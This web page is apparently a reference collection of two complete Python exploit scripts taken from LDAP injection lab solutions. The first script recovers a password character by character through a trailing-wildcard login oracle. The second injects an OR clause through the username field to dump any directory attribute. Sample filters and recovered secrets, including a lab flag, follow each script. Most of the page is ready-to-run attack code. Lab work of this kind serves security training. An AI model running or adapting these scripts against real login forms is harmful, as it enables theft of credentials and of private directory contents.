Skip to content
Boolean Blind

Boolean Blind

LDAP boolean-blind password recovery via trailing wildcard

Recovers a password one character at a time by appending a candidate char plus an LDAP wildcard and watching the login oracle.

The technique abuses the LDAP filter substring wildcard *. When the application builds a filter such as (&(uid=USERNAME)(userPassword=<input>)), submitting <prefix><char>* as the password makes the server test whether the stored password starts with prefix+char, since the trailing * matches any remaining characters. The oracle returns True only when the TRUE_RESPONSE marker appears, signalling that prefix is a real prefix of the secret. dump_password grows the confirmed prefix one character per round: it walks the charset, keeps the first char the oracle accepts, and stops when no char extends the prefix (the full value is recovered). Characters that are LDAP filter metacharacters (*, (, ), \, NUL) must be sent as their \HH hex escapes so they are treated as literals rather than altering the filter; two prefixes are tracked because the request prefix carries the escaped bytes while the output prefix stays human-readable.

import requests
import urllib3
import string

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PROXIES = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
s = requests.Session()

LOGIN_URL = "http://target/index.php"
USERNAME = "htb-stdnt"
TRUE_RESPONSE = "Login successful"
CHARSET = string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation
# Filter metacharacters must be sent hex-escaped so they stay literal
LDAP_ESCAPE = {"*": "\\2a", "(": "\\28", ")": "\\29", "\\": "\\5c", "\x00": "\\00"}

def oracle(candidate):
    # Server filter becomes (&(uid=USERNAME)(userPassword=<candidate>*));
    # the trailing wildcard matches the rest, so a hit means the password starts with <candidate>
    data = {"username": USERNAME, "password": candidate + "*"}
    r = s.post(LOGIN_URL, data=data, verify=False, proxies=PROXIES)
    return TRUE_RESPONSE in r.text

def dump_password():
    req_prefix = ""   # escaped bytes sent in the request
    secret = ""       # human-readable recovered value
    while True:
        for c in CHARSET:
            esc = LDAP_ESCAPE.get(c, c)
            if oracle(req_prefix + esc):
                req_prefix += esc
                secret += c
                print(f"[+] {secret}")
                break
        else:
            print(f"[*] password for {USERNAME}: {secret}")
            return secret

if __name__ == "__main__":
    dump_password()

Server-side filter the wildcard grows against

(&(uid=htb-stdnt)(userPassword=Academy_student*))

Recovered character-by-character

[+] A
[+] Ac
[+] Aca
...
[*] password for htb-stdnt: Academy_student!

Find by: ldap injection, boolean blind, password bruteforce, wildcard, userPassword, prefix growth, login oracle, filter substring match · Source: CWEE/LDAP Injection boolean-blind password solve

LDAP boolean-blind arbitrary attribute dumper via OR-clause injection

Injects an OR clause through the username field to leak any chosen LDAP attribute character-by-character.

When the username is concatenated into the filter unescaped, the value USERNAME)(|(<attr>=<candidate>* closes the original clause and opens an injected OR group, yielding a filter like (&(uid=USERNAME)(|(<attr>=<candidate>*)(userPassword=invalid))). The password invalid) balances the parentheses. Because the group is an OR, the bind/search succeeds whenever the target attribute begins with candidate, independent of the password branch, which turns login success into a boolean oracle for the attribute value. dump_attribute reuses the prefix-growth loop: it appends each charset character behind a trailing *, keeps the first one the oracle confirms, and terminates when no character extends the value. This generalises the password recovery to any readable attribute (description, mail, sn, hashed-password fields), so a single login form leaks directory contents that are never rendered. Filter metacharacters are hex-escaped to keep injected syntax intact while still matching literal bytes in the stored value.

import requests
import urllib3
import string

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PROXIES = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
s = requests.Session()

LOGIN_URL = "http://target/index.php"
USERNAME = "admin"        # an entry the injected OR is anchored to
ATTRIBUTE = "description" # any attribute to exfiltrate
TRUE_RESPONSE = "Login successful"
CHARSET = string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation
LDAP_ESCAPE = {"*": "\\2a", "(": "\\28", ")": "\\29", "\\": "\\5c", "\x00": "\\00"}

def oracle(candidate):
    # username breaks out and injects an OR clause:
    # (&(uid=USERNAME)(|(ATTRIBUTE=<candidate>*)(userPassword=invalid)))
    inj = f"{USERNAME})(|({ATTRIBUTE}={candidate}*"
    data = {"username": inj, "password": "invalid)"}
    r = s.post(LOGIN_URL, data=data, verify=False, proxies=PROXIES)
    return TRUE_RESPONSE in r.text

def dump_attribute():
    req_prefix = ""
    value = ""
    while True:
        for c in CHARSET:
            esc = LDAP_ESCAPE.get(c, c)
            if oracle(req_prefix + esc):
                req_prefix += esc
                value += c
                print(f"[+] {value}")
                break
        else:
            print(f"[*] {ATTRIBUTE} = {value}")
            return value

if __name__ == "__main__":
    dump_attribute()

Injected filter (OR-clause leaks the attribute)

(&(uid=admin)(|(description=htb{c*)(userPassword=invalid)))

Exfiltrated attribute value

[+] h
[+] ht
[+] htb
...
[*] description = htb{cfbf8ce58a8986ab567ed5533b186515}

Find by: ldap injection, boolean blind, attribute dump, filter injection, OR clause, exfiltrate, description, userPassword, wildcard · Source: CWEE/LDAP Injection boolean-blind attribute solve